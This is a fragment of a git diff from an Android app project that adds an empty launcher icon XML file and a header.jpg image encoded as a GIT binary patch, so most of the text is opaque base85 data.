/dev/null +++ b/source code/apk src code v3/app/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/drawable/header.jpg b/source code/apk src code v3/app/src/main/res/drawable/header.jpg new file mode 100644 index 0000000000000000000000000000000000000000..0e24a71fd709f0decd1647a8999eb35fa4259bde GIT binary patch literal 111468 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 